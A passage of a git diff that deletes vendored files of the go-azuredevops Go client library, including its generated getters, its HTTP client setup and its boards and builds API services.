*t.Iteration -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *Test) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetRevision returns the Revision field if it's non-nil, zero value otherwise. -func (t *Test) GetRevision() int { - if t == nil || t.Revision == nil { - return 0 - } - return *t.Revision -} - -// GetStartedDate returns the StartedDate field if it's non-nil, zero value otherwise. -func (t *Test) GetStartedDate() string { - if t == nil || t.StartedDate == nil { - return "" - } - return *t.StartedDate -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (t *Test) GetState() string { - if t == nil || t.State == nil { - return "" - } - return *t.State -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Test) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetBuildURI returns the BuildURI field if it's non-nil, zero value otherwise. -func (t *TestsListOptions) GetBuildURI() string { - if t == nil || t.BuildURI == nil { - return "" - } - return *t.BuildURI -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TestsListOptions) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetCiMessage returns the CiMessage field if it's non-nil, zero value otherwise. -func (t *TriggerInfo) GetCiMessage() string { - if t == nil || t.CiMessage == nil { - return "" - } - return *t.CiMessage -} - -// GetCiSourceBranch returns the CiSourceBranch field if it's non-nil, zero value otherwise. -func (t *TriggerInfo) GetCiSourceBranch() string { - if t == nil || t.CiSourceBranch == nil { - return "" - } - return *t.CiSourceBranch -} - -// GetCiSourceSha returns the CiSourceSha field if it's non-nil, zero value otherwise. -func (t *TriggerInfo) GetCiSourceSha() string { - if t == nil || t.CiSourceSha == nil { - return "" - } - return *t.CiSourceSha -} - -// GetIsLocked returns the IsLocked field if it's non-nil, zero value otherwise. -func (u *UpdateRefsBody) GetIsLocked() bool { - if u == nil || u.IsLocked == nil { - return false - } - return *u.IsLocked -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (u *UpdateRefsBody) GetName() string { - if u == nil || u.Name == nil { - return "" - } - return *u.Name -} - -// GetNewObjectID returns the NewObjectID field if it's non-nil, zero value otherwise. -func (u *UpdateRefsBody) GetNewObjectID() string { - if u == nil || u.NewObjectID == nil { - return "" - } - return *u.NewObjectID -} - -// GetOldObjectID returns the OldObjectID field if it's non-nil, zero value otherwise. -func (u *UpdateRefsBody) GetOldObjectID() string { - if u == nil || u.OldObjectID == nil { - return "" - } - return *u.OldObjectID -} - -// GetRepositoryID returns the RepositoryID field if it's non-nil, zero value otherwise. -func (u *UpdateRefsBody) GetRepositoryID() string { - if u == nil || u.RepositoryID == nil { - return "" - } - return *u.RepositoryID -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (v *ValidationResult) GetMessage() string { - if v == nil || v.Message == nil { - return "" - } - return *v.Message -} - -// GetResult returns the Result field if it's non-nil, zero value otherwise. -func (v *ValidationResult) GetResult() string { - if v == nil || v.Result == nil { - return "" - } - return *v.Result -} - -// GetActive returns the Active field if it's non-nil, zero value otherwise. -func (w *WebAPITagDefinition) GetActive() bool { - if w == nil || w.Active == nil { - return false - } - return *w.Active -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WebAPITagDefinition) GetID() string { - if w == nil || w.ID == nil { - return "" - } - return *w.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (w *WebAPITagDefinition) GetName() string { - if w == nil || w.Name == nil { - return "" - } - return *w.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WebAPITagDefinition) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetCommentVersionRef returns the CommentVersionRef field. -func (w *WorkItem) GetCommentVersionRef() *CommentVersionRef { - if w == nil { - return nil - } - return w.CommentVersionRef -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WorkItem) GetID() int { - if w == nil || w.ID == nil { - return 0 - } - return *w.ID -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (w *WorkItem) GetLinks() map[string]Link { - if w == nil || w.Links == nil { - return map[string]Link{} - } - return *w.Links -} - -// GetRev returns the Rev field if it's non-nil, zero value otherwise. -func (w *WorkItem) GetRev() int { - if w == nil || w.Rev == nil { - return 0 - } - return *w.Rev -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkItem) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetCreatedBy returns the CreatedBy field. -func (w *WorkItemComment) GetCreatedBy() *IdentityRef { - if w == nil { - return nil - } - return w.CreatedBy -} - -// GetCreatedDate returns the CreatedDate field. -func (w *WorkItemComment) GetCreatedDate() *Time { - if w == nil { - return nil - } - return w.CreatedDate -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WorkItemComment) GetID() int { - if w == nil || w.ID == nil { - return 0 - } - return *w.ID -} - -// GetModifiedBy returns the ModifiedBy field. -func (w *WorkItemComment) GetModifiedBy() *IdentityRef { - if w == nil { - return nil - } - return w.ModifiedBy -} - -// GetModifiedDate returns the ModifiedDate field. -func (w *WorkItemComment) GetModifiedDate() *Time { - if w == nil { - return nil - } - return w.ModifiedDate -} - -// GetText returns the Text field if it's non-nil, zero value otherwise. -func (w *WorkItemComment) GetText() string { - if w == nil || w.Text == nil { - return "" - } - return *w.Text -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkItemComment) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetVersion returns the Version field if it's non-nil, zero value otherwise. -func (w *WorkItemComment) GetVersion() int { - if w == nil || w.Version == nil { - return 0 - } - return *w.Version -} - -// GetWorkItemID returns the WorkItemID field if it's non-nil, zero value otherwise. -func (w *WorkItemComment) GetWorkItemID() int { - if w == nil || w.WorkItemID == nil { - return 0 - } - return *w.WorkItemID -} - -// GetContinuationToken returns the ContinuationToken field if it's non-nil, zero value otherwise. -func (w *WorkItemCommentList) GetContinuationToken() string { - if w == nil || w.ContinuationToken == nil { - return "" - } - return *w.ContinuationToken -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (w *WorkItemCommentList) GetCount() int { - if w == nil || w.Count == nil { - return 0 - } - return *w.Count -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (w *WorkItemCommentList) GetLinks() map[string]Link { - if w == nil || w.Links == nil { - return map[string]Link{} - } - return *w.Links -} - -// GetNextPage returns the NextPage field if it's non-nil, zero value otherwise. -func (w *WorkItemCommentList) GetNextPage() string { - if w == nil || w.NextPage == nil { - return "" - } - return *w.NextPage -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (w *WorkItemCommentList) GetTotalCount() int { - if w == nil || w.TotalCount == nil { - return 0 - } - return *w.TotalCount -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkItemCommentList) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetRel returns the Rel field if it's non-nil, zero value otherwise. -func (w *WorkItemLink) GetRel() string { - if w == nil || w.Rel == nil { - return "" - } - return *w.Rel -} - -// GetSource returns the Source field. -func (w *WorkItemLink) GetSource() *WorkItemReference { - if w == nil { - return nil - } - return w.Source -} - -// GetTarget returns the Target field. -func (w *WorkItemLink) GetTarget() *WorkItemReference { - if w == nil { - return nil - } - return w.Target -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WorkItemReference) GetID() int { - if w == nil || w.ID == nil { - return 0 - } - return *w.ID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkItemReference) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetRel returns the Rel field if it's non-nil, zero value otherwise. -func (w *WorkItemRelation) GetRel() string { - if w == nil || w.Rel == nil { - return "" - } - return *w.Rel -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkItemRelation) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetFields returns the Fields field if it's non-nil, zero value otherwise. -func (w *WorkItemUpdate) GetFields() map[string]WorkItemFieldUpdate { - if w == nil || w.Fields == nil { - return map[string]WorkItemFieldUpdate{} - } - return *w.Fields -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WorkItemUpdate) GetID() int { - if w == nil || w.ID == nil { - return 0 - } - return *w.ID -} - -// GetRelations returns the Relations field. -func (w *WorkItemUpdate) GetRelations() *WorkItemRelationUpdates { - if w == nil { - return nil - } - return w.Relations -} - -// GetRev returns the Rev field if it's non-nil, zero value otherwise. -func (w *WorkItemUpdate) GetRev() int { - if w == nil || w.Rev == nil { - return 0 - } - return *w.Rev -} - -// GetRevisedBy returns the RevisedBy field. -func (w *WorkItemUpdate) GetRevisedBy() *IdentityRef { - if w == nil { - return nil - } - return w.RevisedBy -} - -// GetRevisedDate returns the RevisedDate field. -func (w *WorkItemUpdate) GetRevisedDate() *Time { - if w == nil { - return nil - } - return w.RevisedDate -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkItemUpdate) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetWorkItemID returns the WorkItemID field if it's non-nil, zero value otherwise. -func (w *WorkItemUpdate) GetWorkItemID() int { - if w == nil || w.WorkItemID == nil { - return 0 - } - return *w.WorkItemID -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/azuredevops.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/azuredevops.go deleted file mode 100644 index fcc0a2da91..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/azuredevops.go +++ /dev/null @@ -1,342 +0,0 @@ -package azuredevops - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io" - "net/http" - "net/url" - "path" - "reflect" - "strings" - "time" - - "github.com/google/go-querystring/query" -) - -const ( - // DefaultBaseURL is the default URI base for most Azure Devops REST API endpoints - DefaultBaseURL string = "https://dev.azure.com/" - // DefaultVsspsBaseURL is the default URI base for some Azure Devops REST API endpoints - DefaultVsspsBaseURL string = "https://vssps.dev.azure.com/" - // userAgent our HTTP client's user-agent - userAgent string = "go-azuredevops" -) - -// Client for interacting with the Azure DevOps API -type Client struct { - client *http.Client - - // BaseURL Comprised of baseURL and account - BaseURL url.URL - - VsspsBaseURL url.URL - - UserAgent string - - // Account Default tenant identifier - Account string - - // Services used to proxy to other API endpoints - Boards *BoardsService - BuildDefinitions *BuildDefinitionsService - Builds *BuildsService - DeliveryPlans *DeliveryPlansService - Favourites *FavouritesService - Git *GitService - Iterations *IterationsService - PolicyEvaluations *PolicyEvaluationsService - PullRequests *PullRequestsService - Teams *TeamsService - Tests *TestsService - Users *UsersService - WorkItems *WorkItemsService -} - -// NewClient returns a new Azure DevOps API client. If a nil httpClient is -// provided, http.DefaultClient will be used. To use API methods which require -// authentication, provide an http.Client that will perform the authentication -// for you (such as that provided by the golang.org/x/oauth2 library). -func NewClient(httpClient *http.Client) (*Client, error) { - if httpClient == nil { - httpClient = http.DefaultClient - } - - c := &Client{} - baseURL, _ := url.Parse(DefaultBaseURL) - vsspsBaseURL, _ := url.Parse(DefaultVsspsBaseURL) - - c.client = httpClient - c.BaseURL = *baseURL - c.VsspsBaseURL = *vsspsBaseURL - c.UserAgent = userAgent - - c.Boards = &BoardsService{client: c} - c.BuildDefinitions = &BuildDefinitionsService{client: c} - c.Builds = &BuildsService{client: c} - c.DeliveryPlans = &DeliveryPlansService{client: c} - c.Favourites = &FavouritesService{client: c} - c.Git = &GitService{client: c} - c.Iterations = &IterationsService{client: c} - c.PolicyEvaluations = &PolicyEvaluationsService{client: c} - c.PullRequests = &PullRequestsService{client: c} - c.Teams = &TeamsService{client: c} - c.Tests = &TestsService{client: c} - c.Users = &UsersService{client: c} - c.WorkItems = &WorkItemsService{client: c} - - return c, nil -} - -// NewRequest creates an API request. A relative URL can be provided in urlStr, -// in which case it is resolved relative to the BaseURL of the Client. -// Relative URLs should always be specified without a preceding slash. If -// specified, the value pointed to by body is JSON encoded and included as the -// request body. -func (c *Client) NewRequest(method, urlStr string, body interface{}) (*http.Request, error) { - if !strings.HasSuffix(c.BaseURL.Path, "/") { - return nil, fmt.Errorf("BaseURL must have a trailing slash, but %q does not", c.BaseURL.String()) - } - - u, err := c.BaseURL.Parse(urlStr) - if err != nil { - return nil, err - } - - var buf io.ReadWriter - if body != nil { - buf = new(bytes.Buffer) - enc := json.NewEncoder(buf) - enc.SetEscapeHTML(false) - err := enc.Encode(body) - if err != nil { - return nil, err - } - } - - req, err := http.NewRequest(method, u.String(), buf) - if err != nil { - return nil, err - } - - if body != nil { - req.Header.Set("Content-Type", "application/json") - } - if c.UserAgent != "" { - req.Header.Set("User-Agent", c.UserAgent) - } - return req, nil -} - -// Execute sends an API request and returns the API response. The API response is -// JSON decoded and stored in the value pointed to by r, or returned as an -// error if an API error has occurred. If r implements the io.Writer -// interface, the raw response body will be written to r, without attempting to -// first decode it. -// -// The provided ctx must be non-nil. If it is canceled or times out, -// ctx.Err() will be returned. -func (c *Client) Execute(ctx context.Context, req *http.Request, r interface{}) (*http.Response, error) { - req = req.WithContext(ctx) - debugReq(req) - resp, err := c.client.Do(req) - if err != nil { - // If we got an error, and the context has been canceled, - // the context's error is probably more useful. - select { - case <-ctx.Done(): - return nil, ctx.Err() - default: - } - - // If the error type is *url.Error, sanitize its URL before returning. - if e, ok := err.(*url.Error); ok { - if url, err := url.Parse(e.URL); err == nil { - e.URL = sanitizeURL(url).String() - return nil, e - } - } - - return nil, err - } - defer resp.Body.Close() - - if resp.StatusCode != 200 && resp.StatusCode != 201 { - return nil, fmt.Errorf("Request to %s responded with status %d", req.URL, resp.StatusCode) - } - - if r != nil { - if w, ok := r.(io.Writer); ok { - io.Copy(w, resp.Body) - } else { - decErr := json.NewDecoder(resp.Body).Decode(r) - if decErr == io.EOF { - decErr = nil // ignore EOF errors caused by empty response body - } - if decErr != nil { - err = decErr - } - } - } - - return resp, err -} - -// BasicAuthTransport is an http.RoundTripper that authenticates all requests -// using HTTP Basic Authentication with the provided username and password. It -// additionally supports users who have two-factor authentication enabled on -// their GitHub account. -type BasicAuthTransport struct { - Username string // Azure Devops username - Password string // Azure Devops password - OTP string // one-time password for users with two-factor auth enabled - - // Transport is the underlying HTTP transport to use when making requests. - // It will default to http.DefaultTransport if nil. - Transport http.RoundTripper -} - -// RoundTrip implements the RoundTripper interface. -func (t *BasicAuthTransport) RoundTrip(req *http.Request) (*http.Response, error) { - // To set extra headers, we must make a copy of the Request so - // that we don't modify the Request we were given. This is required by the - // specification of http.RoundTripper. - // - // Since we are going to modify only req.Header here, we only need a deep copy - // of req.Header. - req2 := new(http.Request) - *req2 = *req - req2.Header = make(http.Header, len(req.Header)) - for k, s := range req.Header { - req2.Header[k] = append([]string(nil), s...) - } - - //req2.SetBasicAuth(t.Username, t.Password) - req2.SetBasicAuth("", t.Password) - - return t.transport().RoundTrip(req2) -} - -// Client returns an *http.Client that makes requests that are authenticated -// using HTTP Basic Authentication. -func (t *BasicAuthTransport) Client() *http.Client { - return &http.Client{Transport: t} -} - -func (t *BasicAuthTransport) transport() http.RoundTripper { - if t.Transport != nil { - return t.Transport - } - return http.DefaultTransport -} - -// addOptions adds the parameters in opt as URL query parameters to s. opt -// must be a struct whose fields may contain "url" tags. -// From: https://github.com/google/go-github/blob/master/github/github.go -func addOptions(s string, opt interface{}) (string, error) { - v := reflect.ValueOf(opt) - if v.Kind() == reflect.Ptr && v.IsNil() { - return s, nil - } - - u, err := url.Parse(s) - if err != nil { - return s, err - } - - qs, err := query.Values(opt) - if err != nil { - return s, err - } - - for k, v := range u.Query() { - qs[k] = v - } - - u.RawQuery = qs.Encode() - return u.String(), nil -} - -// formatRef helper function for API calls that need a branch reference -// as an input parameter. Doesn't do much error checking. -// Examples: -// *ref = "mybranch" => *ref = "refs/heads/mybranch" -// *ref = "refs/heads/abranch" => *ref = "refs/heads/abranch" -func formatRef(ref *string) error { - matched, err := path.Match("refs/heads/*", *ref) - if matched && err == nil { - return nil - } else if err != nil { - return err - } else { - *ref = fmt.Sprintf("refs/heads/%s", *ref) - return nil - } -} - -// sanitizeURL redacts the client_secret parameter from the URL which may be -// exposed to the user. -func sanitizeURL(uri *url.URL) *url.URL { - if uri == nil { - return nil - } - params := uri.Query() - if len(params.Get("client_secret")) > 0 { - params.Set("client_secret", "REDACTED") - uri.RawQuery = params.Encode() - } - return uri -} - -type Time struct { - Time time.Time -} - -func (t *Time) UnmarshalJSON(b []byte) error { - t2 := time.Time{} - err := json.Unmarshal(b, &t2) - - // ignore errors for 0001-01-01T00:00:00 dates. The Azure DevOps service - // returns default dates in a format that is invalid for a time.Time. The - // correct value would have a 'z' at the end to represent utc. We are going - // to ignore this error, and set the value to the default time.Time value. - // https://github.com/microsoft/azure-devops-go-api/issues/17 - if err != nil { - if parseError, ok := err.(*time.ParseError); ok && parseError.Value == "\"0001-01-01T00:00:00\"" { - err = nil - } - } - - t.Time = t2 - return err -} - -func (t *Time) MarshalJSON() ([]byte, error) { - return json.Marshal(t.Time) -} - -func (t Time) String() string { - return t.Time.String() -} - -func (t Time) Equal(u Time) bool { - return t.Time.Equal(u.Time) -} - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { return &v } - -// Int is a helper routine that allocates a new int value -// to store v and returns a pointer to it. -func Int(v int) *int { return &v } - -// Int64 is a helper routine that allocates a new int64 value -// to store v and returns a pointer to it. -func Int64(v int64) *int64 { return &v } - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { return &v } diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/boards.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/boards.go deleted file mode 100644 index 9f74ac7a5f..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/boards.go +++ /dev/null @@ -1,124 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" - "net/url" -) - -// BoardsService handles communication with the boards methods on the API -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/work/boards -type BoardsService struct { - client *Client -} - -// ListBoardsResponse describes the boards response -type ListBoardsResponse struct { - Count *int `json:"count,omitempty"` - BoardReferences []*BoardReference `json:"value,omitempty"` -} - -// Board describes a board -type Board struct { - BoardReference - Links *map[string]Link `json:"_links,omitempty"` - AllowedMappings *string `json:"allowedMappings,omitempty"` - CanEdit *bool `json:"canEdit,omitempty"` - Columns []*BoardColumn `json:"columns,omitempty"` - Fields *BoardFields `json:"fields,omitempty"` - IsValid *bool `json:"isvalid,omitempty"` - Revision *int `json:"revision,omitempty"` - Rows []*BoardRow `json:"rows,omitempty"` -} - -// BoardColumn describes a column on the board -type BoardColumn struct { - ColumnType *string `json:"columnType,omitempty"` - Description *string `json:"description,omitempty"` - ID *string `json:"id,omitempty"` - IsSplit *bool `json:"isSplit,omitempty"` - ItemLimit *int `json:"itemLimit,omitempty"` - Name *string `json:"name,omitempty"` - StateMappings map[string]string `json:"stateMappings,omitempty"` -} - -// BoardColumnType describes a column on the board -type BoardColumnType int - -// BoardColumnType Enum values -const ( - Incoming BoardColumnType = iota - InProgress - Outgoing -) - -func (d BoardColumnType) String() string { - return [...]string{"Incoming", "InProgress", "Outgoing"}[d] -} - -// BoardFields describes a column on the board -type BoardFields struct { - ColumnField *FieldReference `json:"columnField,omitempty"` - DoneField *FieldReference `json:"doneField,omitempty"` - RowField *FieldReference `json:"rowField,omitempty"` -} - -// BoardReference Base object a board -type BoardReference struct { - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"URL,omitempty"` -} - -// BoardRow describes a row on the board -type BoardRow struct { - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` -} - -// FieldReference describes a row on the board -type FieldReference struct { - ReferenceName *string `json:"referenceName,omitempty"` - URL *string `json:"url,omitempty"` -} - -// List returns list of the boards -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/work/boards/list -func (s *BoardsService) List(ctx context.Context, owner, project, team string) ([]*BoardReference, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/%s/_apis/work/boards?api-version=5.1-preview.1", - owner, - project, - url.PathEscape(team), - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(ListBoardsResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.BoardReferences, resp, err -} - -// Get returns a single board utilising https://docs.microsoft.com/en-gb/rest/api/vsts/work/boards/get -func (s *BoardsService) Get(ctx context.Context, owner, project, team, id string) (*Board, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/%s/_apis/work/boards/%s?api-version=5.1-preview.1", - owner, - project, - url.PathEscape(team), - id, - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(Board) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/build_controller.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/build_controller.go deleted file mode 100644 index a3688c4502..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/build_controller.go +++ /dev/null @@ -1,14 +0,0 @@ -package azuredevops - -// BuildController represents a controller of the build service -type BuildController struct { - CreatedDate *string `json:"createdDate"` - Description *string `json:"description"` - Enabled *bool `json:"enabled"` - ID *int `json:"id"` - Name *string `json:"name"` - Status *string `json:"status"` - UpdateDate *string `json:"updateDate"` - URI *string `json:"uri"` - URL *string `json:"url"` -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/build_definitions.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/build_definitions.go deleted file mode 100644 index 6242584799..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/build_definitions.go +++ /dev/null @@ -1,64 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" -) - -// BuildDefinitionsService handles communication with the build definitions methods on the API -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/build/definitions -type BuildDefinitionsService struct { - client *Client -} - -// BuildDefinitionsListResponse describes the build definitions list response -type BuildDefinitionsListResponse struct { - Count int `json:"count"` - BuildDefinitions []*BuildDefinition `json:"value"` -} - -// BuildRepository represents a repository used by a build definition -type BuildRepository struct { - ID *string `json:"id,omitempty"` - Type *string `json:"type,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - RootFolder *string `json:"root_folder"` - Properties map[string]interface{} `json:"properties"` - Clean *string `json:"clean"` - DefaultBranch *string `json:"default_branch"` - CheckoutSubmodules *bool `json:"checkout_submodules"` -} - -// BuildDefinition represents a build definition -type BuildDefinition struct { - ID *int `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Repository *BuildRepository `json:"repository,omitempty"` -} - -// BuildDefinitionsListOptions describes what the request to the API should look like -type BuildDefinitionsListOptions struct { - Path *string `url:"path,omitempty"` - IncludeAllProperties *bool `url:"includeAllProperties,omitempty"` -} - -// List returns a list of build definitions -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/build/definitions/list -func (s *BuildDefinitionsService) List(ctx context.Context, owner string, project string, opts *BuildDefinitionsListOptions) ([]*BuildDefinition, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/build/definitions?api-version=5.1-preview.1", - owner, - project, - ) - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(BuildDefinitionsListResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.BuildDefinitions, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/builds.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/builds.go deleted file mode 100644 index f4dbab05d8..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/builds.go +++ /dev/null @@ -1,203 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" -) - -// BuildsService handles communication with the builds methods on the API -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/build/builds -type BuildsService struct { - client *Client -} - -// BuildsListResponse is the wrapper around the main response for the List of Builds -type BuildsListResponse struct { - Count int `json:"count"` - Builds []*Build `json:"value"` -} - -// TaskOrchestrationPlanReference The orchestration plan for the build. -type TaskOrchestrationPlanReference struct { - Type *int `json:"orchestrationType,omitempty"` - PlanID *string `json:"planId,omitempty"` -} - -// Build Represents a build. -type Build struct { - Definition *BuildDefinition `json:"definition,omitempty"` - Controller *BuildController `json:"controller,omitempty"` - LastChangedBy *IdentityRef `json:"lastChangedBy,omitempty"` - DeletedBy *IdentityRef `json:"deletedBy,omitempty"` - BuildNumber *string `json:"buildNumber,omitempty"` - FinishTime *string `json:"finishTime,omitempty"` - SourceBranch *string `json:"sourceBranch,omitempty"` - Repository *BuildRepository `json:"repository,omitempty"` - Demands []*BuildDemand `json:"demands,omitempty"` - Logs *BuildLogReference `json:"logs,omitempty"` - Project *TeamProjectReference `json:"project,omitempty"` - Properties map[string]string `json:"properties,omitempty"` - Priority *string `json:"priority,omitempty"` - OrchestrationPlan *TaskOrchestrationPlanReference `json:"orchestrationPlan,omitempty"` - Plans []*TaskOrchestrationPlanReference `json:"plans,omitempty"` - BuildNumberRevision *int `json:"buildNumberRevision,omitempty"` - Deleted *bool `json:"deleted,omitempty"` - DeletedDate *string `json:"deletedDate,omitempty"` - DeletedReason *string `json:"deletedReason,omitempty"` - ID *int `json:"id,omitempty"` - KeepForever *bool `json:"keepForever,omitempty"` - ChangedDate *string `json:"lastChangedDate,omitempty"` - Params *string `json:"parameters,omitempty"` - Quality *string `json:"quality,omitempty"` - Queue *AgentPoolQueue `json:"queue,omitempty"` - QueueOptions map[string]string `json:"queue_options,omitempty"` - QueuePosition *int `json:"queuePosition,omitempty"` - QueueTime *string `json:"queueTime,omitempty"` - RetainedByRelease *bool `json:"retainedByRelease,omitempty"` - Version *string `json:"sourceVersion,omitempty"` - StartTime *string `json:"startTime,omitempty"` - Status *string `json:"status,omitempty"` - Result *string `json:"result,omitempty"` - ValidationResults []*ValidationResult `json:"validationResult,omitempty"` - Tags []*string `json:"tags,omitempty"` - TriggerBuild *Build `json:"triggeredByBuild,omitempty"` - URI *string `json:"uri,omitempty"` - URL *string `json:"url,omitempty"` - TriggerInfo *TriggerInfo `json:"triggerInfo,omitempty"` -} - -// AgentPoolQueue The queue. This is only set if the definition type is Build. -type AgentPoolQueue struct { - Links *map[string]Link `json:"_links,omitempty"` - ID *int `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - Pool *TaskAgentPoolReference `json:"pool,omitempty"` -} - -// TaskAgentPoolReference Represents a reference to an agent pool. -type TaskAgentPoolReference struct { - ID *int `json:"id,omitempty"` - IsHosted *bool `json:"is_hosted,omitempty"` - Name *string `json:"name,omitempty"` -} - -// TriggerInfo Source provider-specific information about what triggered the build. -type TriggerInfo struct { - CiSourceBranch *string `json:"ci.sourceBranch,omitempty"` - CiSourceSha *string `json:"ci.sourceSha,omitempty"` - CiMessage *string `json:"ci.message,omitempty"` -} - -// ValidationResult Represents the result of validating a build request. -type ValidationResult struct { - Message *string `json:"message,omitempty"` - Result *string `json:"result,omitempty"` -} - -// BuildDemand Represents a demand used by a definition or build. -type BuildDemand struct { - Name *string `json:"name,omitempty"` - Value *string `json:"value,omitempty"` -} - -// BuildListOrder is enum type for build list order -type BuildListOrder string - -const ( - // FinishTimeAscending orders by finish build time asc - FinishTimeAscending BuildListOrder = "finishTimeAscending" - // FinishTimeDescending orders by finish build time desc - FinishTimeDescending BuildListOrder = "finishTimeDescending" - // QueueTimeAscending orders by build queue time asc - QueueTimeAscending BuildListOrder = "queueTimeAscending" - // QueueTimeDescending orders by build queue time desc - QueueTimeDescending BuildListOrder = "queueTimeDescending" - // StartTimeAscending orders by build start time asc - StartTimeAscending BuildListOrder = "startTimeAscending" - // StartTimeDescending orders by build start time desc - StartTimeDescending BuildListOrder = "startTimeDescending" -) - -// BuildsListOptions describes what the request to the API should look like -type BuildsListOptions struct { - Definitions *string `url:"definitions,omitempty"` - Branch *string `url:"branchName,omitempty"` - Count *int `url:"$top,omitempty"` - Repository *string `url:"repositoryId,omitempty"` - BuildIDs *string `url:"buildIds,omitempty"` - Order *string `url:"queryOrder,omitempty"` - Deleted *string `url:"deletedFilter,omitempty"` - MaxPerDefinition *string `url:"maxBuildsPerDefinition,omitempty"` - Token *string `url:"continuationToken,omitempty"` - Props *string `url:"properties,omitempty"` - Tags *string `url:"tagFilters,omitempty"` - Result *string `url:"resultFilter,omitempty"` - Status *string `url:"statusFilter,omitempty"` - Reason *string `url:"reasonFilter,omitempty"` - UserID *string `url:"requestedFor,omitempty"` - MaxTime *string `url:"maxTime,omitempty"` - MinTime *string `url:"minTime,omitempty"` - BuildNumber *string `url:"buildNumber,omitempty"` - Queues *string `url:"queues,omitempty"` - RepoType *string `url:"repositoryType,omitempty"` -} - -// BuildLogReference Information about the build logs. -type BuildLogReference struct { - ID *int `json:"id"` - Type *string `json:"type"` - URL *string `json:"url"` -} - -// List returns list of the builds -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/build/builds/list -func (s *BuildsService) List(ctx context.Context, owner string, project string, opts *BuildsListOptions) ([]*Build, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/build/builds?api-version=5.1-preview.1", - owner, - project, - ) - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(BuildsListResponse) - resp, err := s.client.Execute(ctx, req, 